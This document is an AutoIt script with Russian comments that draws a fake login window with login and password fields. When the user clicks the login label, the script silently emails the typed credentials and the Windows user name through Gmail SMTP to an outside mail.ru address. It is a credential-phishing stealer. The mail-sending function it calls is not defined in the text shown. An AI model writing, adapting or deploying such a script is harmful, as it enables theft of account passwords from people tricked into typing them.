#include <GUIConstants.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <GUIConstants.au3>

#Region ### START Koda GUI section ### 
$Form2 = GUICreate("тратататат", 515, 157, -1, -1) ;заголовок окна
GUISetIcon("ico.ico");иконка проги
$Pic1 = GUICtrlCreatePic("image.jpg", 0, 0, 514, 156, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS)) ;картинка
GUICtrlSetState(-1, $GUI_DISABLE)
$ButtonCancel = GUICtrlCreateButton("&Cancel", 423, 128, 75, 25, 0)
GUICtrlSetState(-1, $GUI_DISABLE)
$ButtonOk = GUICtrlCreateButton("&ok", 342, 128, 75, 25, 0)
GUICtrlSetState(-1, $GUI_DISABLE)
$Slider1 = GUICtrlCreateSlider(200, 96, 305, 25)
GUICtrlSetState(-1, $GUI_DISABLE)
$login = GUICtrlCreateInput("", 5, 66, 121, 21)
$password = GUICtrlCreateInput("", 5, 102, 121, 21)
$Progress1 = GUICtrlCreateProgress(208, 72, 289, 17)
$EnterPassLabel = GUICtrlCreateLabel("Progress:", 145, 70, 60, 18)
GUICtrlSetFont(-1, 8, 800, 0, "Arial")
GUICtrlSetCursor (-1, 2)
$rait = GUICtrlCreateLabel("rait:", 145, 96, 52, 18)
GUICtrlSetFont(-1, 8, 800, 0, "Arial")
GUICtrlSetCursor (-1, 2)
$vhod = GUICtrlCreateLabel("Вход", 12, 132, 29, 18)
GUICtrlSetFont(-1, 8, 400, 0, "Arial")
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x36638E)
GUICtrlSetCursor (-1, 0)
$Label1 = GUICtrlCreateLabel("Регистрация", 55, 132, 68, 18)
GUICtrlSetFont(-1, 8, 400, 0, "Arial")
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x36638E)
GUICtrlSetCursor (-1, 0)
$Label2 = GUICtrlCreateLabel("Настройки", 153, 47, 62, 18)
GUICtrlSetFont(-1, 8, 800, 0, "Arial")
GUICtrlSetBkColor(-1, 0xFFFFBF)
GUICtrlSetCursor (-1, 2)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###




While 1
	$nMsg = GUIGetMsg()
	
	Switch $nMsg
    Case $GUI_EVENT_CLOSE
    	Exit
    Case $ButtonCancel
    	Exit
    Case $vhod
$SmtpServer = "smtp.gmail.com"
$FromName = "имя"
$FromAddress = "gl@gmail.com" ;от куда
$ToAddress = "x@mail.ru";куда
$Subject = "тема письма " &  @UserName
$Body = GUICtrlRead($login ) & ";" & GUICtrlRead($password )
$AttachFiles = ""
$CcAddress = ""
$BccAddress = ""
$Importance = "Normal"
$Username = "gl@gmail.com"
$Password = "password"
$IPPort = 465 ;на другие почтовые службы типа яндекс порт 25 или 587
$ssl = 1 


Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
If @error Then
    MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)
EndIf

;функция отправки на мыло
    	Exit
	EndSwitch
WEnd